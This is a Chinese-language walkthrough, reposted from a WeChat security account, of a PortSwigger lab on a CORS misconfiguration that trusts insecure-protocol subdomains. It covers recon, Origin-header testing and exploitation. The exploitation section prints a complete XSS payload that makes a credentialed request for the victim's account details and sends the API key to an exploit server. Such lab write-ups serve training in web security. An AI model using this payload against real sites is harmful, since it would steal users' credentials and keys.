受信任的不安全协议的 CORS 漏洞

admin 2024年11月7日11:36:20评论5 views字数 1898阅读6分19秒阅读模式

我将向您详细介绍我在编写 Web 应用程序时的想法。这些文章来自受控环境,深入探讨了该方法,以帮助您学习如何自己测试应用程序。

目的

制作使用 CORS 检索管理员 API 密钥的 Javascript 负载。

什么是 CORS?

跨域资源共享 (CORS) 是由 Web 浏览器实施的一项安全功能,它允许 Web 应用程序从与其自己的域不同的域请求资源。它旨在防止恶意网站访问其他站点上的敏感数据。如果配置不正确,它可能会无意中暴露漏洞。

我的目标是在各种网络安全主题中为您提供价值,并成为您扩展专业知识或成为有抱负的网络安全专业人士的最终目的地。

方法论

想要亲自尝试一下实验室并跟随?您可以在 PortSwigger 的网站上免费查看。

侦察

我们从非常有限的信息开始这个实验。

我们可以看到,有一家商店与我们在以前的方法论演练中看到的商店非常相似。

受信任的不安全协议的 CORS 漏洞受信任的不安全协议的 CORS 漏洞

深入研究 a 产品,我们可以看到有一个库存检查功能。

这又是我们以前见过的,但这次它的行为非常不同。

它不是将库存检查的结果嵌入到应用程序的 DOM 中,而是打开一个包含结果的全新窗口。

受信任的不安全协议的 CORS 漏洞受信任的不安全协议的 CORS 漏洞

这很奇怪......让我们不要把这个当回头来。

接下来我们可以看到,我们能够使用提供的默认凭证登录账户,并且该账户内部是一个 API 密钥。

我们可以假设管理员的 API 密钥也将以类似的方式检索 — 让我们在这里也记下这一点。

受信任的不安全协议的 CORS 漏洞受信任的不安全协议的 CORS 漏洞

我们可以看到可用的最后一部分是 Exploit 服务器。我们将利用它来实施我们的攻击。

受信任的不安全协议的 CORS 漏洞受信任的不安全协议的 CORS 漏洞

现在我们已经浏览了整个应用程序,让我们参考 SiteMap 来查找任何明显的漏洞。

我们可以看到产品页面上有一个错误,即缺少 anti-CSRF 令牌——这是另一件需要注意的事情。

受信任的不安全协议的 CORS 漏洞受信任的不安全协议的 CORS 漏洞

最后,让我们看看我们的 HTTP History,特别是我们的 API Key 所在的 AccountDetails 页面。

在 History 中,我们可以看到通过 AJAX 请求检索到的帐户的详细信息,并且响应中存在 Access-Control-Allow-Credentials 标头。

受信任的不安全协议的 CORS 漏洞受信任的不安全协议的 CORS 漏洞

这表明可能存在 CORS 支持。

这看起来就是我们 Recon 所需要的全部。我们可以开始进一步探究。

测试

首先将 AccountDetails 请求发送到转发器。在以下位置添加以下标题:

Origin: http://subdomain.lab-id

lab-id 需要与您的当前 lab 实例一致。

受信任的不安全协议的 CORS 漏洞受信任的不安全协议的 CORS 漏洞

您会注意到响应中有反射。

在测试时,反射总是一个好兆头,通常可以成为攻击的途径。

尝试 http:// 和 https://。您将看到两者都有效。

这确认了 CORS 配置允许从任意子域进行访问。

开发

让我们重新审视可疑库存检查功能。

我们可以看到它是使用针对子域的 HTTP 请求加载的:

受信任的不安全协议的 CORS 漏洞受信任的不安全协议的 CORS 漏洞

如果我们将此发送到 repeater,我们可以在反射的响应中看到此请求容易受到 XSS 的攻击:

受信任的不安全协议的 CORS 漏洞受信任的不安全协议的 CORS 漏洞

让我们前往我们的漏洞利用服务器并输入以下 Payload:

<script> document.location="http://stock.LAB-ID.web-security-academy.net/?productId=<script>var xhr = new XMLHttpRequest();var url = 'https://LAB-ID.web-security-academy.net';xhr.onreadystatechange = function(){if (xhr.readyState == XMLHttpRequest.DONE) {fetch('https://exploit-ID.exploit-server.net?key=' %2b xhr.responseText)};};xhr.open('GET', url %2b '/accountDetails', true); xhr.withCredentials = true;xhr.send(null);%3c/script>&storeId=1" </script>

确保输入您自己的实验室信息。

受信任的不安全协议的 CORS 漏洞受信任的不安全协议的 CORS 漏洞

此有效负载将利用 XSS 漏洞并将 API 密钥记录在我们的漏洞利用服务器中。

单击 Store and Deliver exploit to Victim (将漏洞存储并交付给受害者)。

如果我们转到访问日志,我们应该会看到管理员请求隐藏在日志中,响应中包含 API 密钥。

受信任的不安全协议的 CORS 漏洞受信任的不安全协议的 CORS 漏洞

获取密钥并提交以解决实验室问题!

我们学到了什么

我们探讨了如何利用 CORS 错误配置来提取敏感信息。通过验证潜在的 CORS 漏洞并利用已识别的 XSS 漏洞制作恶意 JavaScript 负载,我们能够捕获 API 密钥。这表明了正确配置 CORS 以防止未经授权的跨域请求以保护您的 Web 应用程序的重要性。

原文始发于微信公众号(安全狗的自我修养):受信任的不安全协议的 CORS 漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月7日11:36:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   受信任的不安全协议的 CORS 漏洞http://cn-sec.com/archives/3366924.html

发表评论

匿名网友 填写信息